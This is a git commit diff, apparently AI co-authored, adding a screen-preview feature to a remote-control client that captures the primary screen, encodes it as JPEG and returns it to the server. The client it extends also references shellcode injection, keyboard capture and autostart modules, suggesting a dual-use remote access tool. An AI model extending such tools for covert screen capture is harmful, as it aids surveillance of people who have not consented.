Feature: screen preview thumbnail on host double-click
Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW. Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd showing the thumbnail above the host info text, with wide-character rendering so the popup also works on non-Chinese servers. - Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto upscale on Ultra/High tiers up to min(screenWidth/4, 1280). - Client limits to 1 in-flight capture via atomic counter to defend against flood/DoS; Send2Server is already mutex-serialized. - Server validates responses by reqId only (single in-flight tip); 4s arrival timeout marks "preview unavailable" without blocking the text fallback path. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -199,6 +199,7 @@
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
@@ -241,6 +242,7 @@
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
|
||||
@@ -27,6 +27,7 @@
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
@@ -70,6 +71,7 @@
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
|
||||
@@ -18,6 +18,7 @@
|
||||
#include "auto_start.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ScreenPreview.h"
|
||||
#include "common/file_upload.h"
|
||||
#include "common/DateVerify.h"
|
||||
#include "common/LANChecker.h"
|
||||
@@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_PREVIEW_REQ: {
|
||||
if (ulLength < sizeof(ScreenPreviewReq)) break;
|
||||
ScreenPreviewReq req;
|
||||
memcpy(&req, szBuffer, sizeof(req));
|
||||
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
|
||||
static std::atomic<int> s_inFlight{0};
|
||||
if (s_inFlight.fetch_add(1) >= 1) {
|
||||
s_inFlight.fetch_sub(1);
|
||||
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
|
||||
}
|
||||
// 投递到工作线程,避免阻塞 OnReceive;抓屏 + 编码可能耗几十毫秒
|
||||
std::thread([this, req]() {
|
||||
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
|
||||
std::vector<unsigned char> jpg;
|
||||
int w = 0, h = 0;
|
||||
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
|
||||
|
||||
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
|
||||
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
|
||||
memset(hdr, 0, sizeof(*hdr));
|
||||
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
|
||||
hdr->reqId = req.reqId;
|
||||
hdr->status = (uint8_t)st;
|
||||
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
|
||||
hdr->width = (uint16_t)w;
|
||||
hdr->height = (uint16_t)h;
|
||||
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
|
||||
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
|
||||
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
|
||||
}
|
||||
if (m_ClientObject && m_ClientObject->IsConnected()) {
|
||||
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
|
||||
}
|
||||
}).detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
|
||||
188
client/ScreenPreview.cpp
Normal file
188
client/ScreenPreview.cpp
Normal file
@@ -0,0 +1,188 @@
|
||||
// ScreenPreview.cpp
|
||||
#include "stdafx.h"
|
||||
#include "ScreenPreview.h"
|
||||
#include "../common/commands.h" // ScreenPreviewStatus
|
||||
|
||||
#include <windows.h>
|
||||
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||
#include <gdiplus.h>
|
||||
#pragma comment(lib, "gdiplus.lib")
|
||||
|
||||
using namespace Gdiplus;
|
||||
|
||||
namespace {
|
||||
|
||||
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突;Startup 可重入计数)
|
||||
struct GdiplusBoot {
|
||||
ULONG_PTR token = 0;
|
||||
bool ok = false;
|
||||
GdiplusBoot()
|
||||
{
|
||||
GdiplusStartupInput in;
|
||||
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
|
||||
}
|
||||
~GdiplusBoot()
|
||||
{
|
||||
if (ok) GdiplusShutdown(token);
|
||||
}
|
||||
};
|
||||
static GdiplusBoot g_boot;
|
||||
|
||||
int GetJpegEncoderClsid(CLSID& clsid)
|
||||
{
|
||||
UINT num = 0, size = 0;
|
||||
GetImageEncodersSize(&num, &size);
|
||||
if (size == 0) return -1;
|
||||
|
||||
std::vector<BYTE> buf(size);
|
||||
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
|
||||
GetImageEncoders(num, size, info);
|
||||
for (UINT i = 0; i < num; ++i) {
|
||||
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
|
||||
clsid = info[i].Clsid;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 抓主屏到 24bpp Bitmap,目标尺寸已等比换算。
|
||||
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
|
||||
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
|
||||
{
|
||||
HDC hScreen = GetDC(NULL);
|
||||
if (!hScreen) return nullptr;
|
||||
|
||||
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
|
||||
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||
(void)srcX; (void)srcY;
|
||||
|
||||
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||
if (srcW <= 0 || srcH <= 0) {
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HDC hMem = CreateCompatibleDC(hScreen);
|
||||
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
|
||||
if (!hMem || !hBmp) {
|
||||
if (hBmp) DeleteObject(hBmp);
|
||||
if (hMem) DeleteDC(hMem);
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
|
||||
|
||||
// 高质量缩放:HALFTONE 内插
|
||||
SetStretchBltMode(hMem, HALFTONE);
|
||||
SetBrushOrgEx(hMem, 0, 0, NULL);
|
||||
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
|
||||
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
|
||||
|
||||
SelectObject(hMem, oldBmp);
|
||||
|
||||
Bitmap* out = nullptr;
|
||||
if (bb) {
|
||||
// 拷贝 HBITMAP 到 GDI+ Bitmap,避免后续释放设备 DC 影响图像
|
||||
Bitmap tmp(hBmp, NULL);
|
||||
if (tmp.GetLastStatus() == Ok) {
|
||||
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
|
||||
if (out && out->GetLastStatus() != Ok) {
|
||||
delete out;
|
||||
out = nullptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DeleteObject(hBmp);
|
||||
DeleteDC(hMem);
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||
std::vector<unsigned char>& out,
|
||||
int& outWidth, int& outHeight)
|
||||
{
|
||||
out.clear();
|
||||
outWidth = outHeight = 0;
|
||||
|
||||
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
|
||||
if (maxWidth < 64) maxWidth = 64;
|
||||
if (maxWidth > 1920) maxWidth = 1920;
|
||||
if (quality < 1) quality = 1;
|
||||
if (quality > 100) quality = 100;
|
||||
|
||||
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
// 等比缩放,禁止放大
|
||||
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
|
||||
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
|
||||
if (targetH <= 0) targetH = 1;
|
||||
// 偶数对齐,JPEG 编码更高效
|
||||
targetW &= ~1;
|
||||
targetH &= ~1;
|
||||
if (targetW < 2) targetW = 2;
|
||||
if (targetH < 2) targetH = 2;
|
||||
|
||||
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
|
||||
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
CLSID clsid;
|
||||
if (GetJpegEncoderClsid(clsid) != 0) {
|
||||
delete bmp;
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
EncoderParameters params;
|
||||
params.Count = 1;
|
||||
params.Parameter[0].Guid = EncoderQuality;
|
||||
params.Parameter[0].Type = EncoderParameterValueTypeLong;
|
||||
params.Parameter[0].NumberOfValues = 1;
|
||||
ULONG q = (ULONG)quality;
|
||||
params.Parameter[0].Value = &q;
|
||||
|
||||
IStream* stream = nullptr;
|
||||
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
|
||||
delete bmp;
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
Status st = bmp->Save(stream, &clsid, ¶ms);
|
||||
delete bmp;
|
||||
|
||||
if (st != Ok) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
HGLOBAL hMem = NULL;
|
||||
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
SIZE_T sz = GlobalSize(hMem);
|
||||
if (sz == 0) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
void* p = GlobalLock(hMem);
|
||||
if (!p) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
out.assign((unsigned char*)p, (unsigned char*)p + sz);
|
||||
GlobalUnlock(hMem);
|
||||
stream->Release();
|
||||
|
||||
outWidth = targetW;
|
||||
outHeight = targetH;
|
||||
return SCREEN_PREVIEW_OK;
|
||||
}
|
||||
16
client/ScreenPreview.h
Normal file
16
client/ScreenPreview.h
Normal file
@@ -0,0 +1,16 @@
|
||||
// ScreenPreview.h
|
||||
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
|
||||
#pragma once
|
||||
|
||||
#include <vector>
|
||||
|
||||
// 抓取主屏并编码成 JPEG。
|
||||
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
|
||||
// quality JPEG 质量 1..100(建议 40..85)
|
||||
// out 编码后的 JPEG 字节流
|
||||
// outWidth 实际编码图宽
|
||||
// outHeight 实际编码图高
|
||||
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus(枚举在 commands.h)
|
||||
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||
std::vector<unsigned char>& out,
|
||||
int& outWidth, int& outHeight);
|
||||
@@ -209,6 +209,7 @@
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
@@ -257,6 +258,7 @@
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
|
||||
Reference in New Issue
Block a user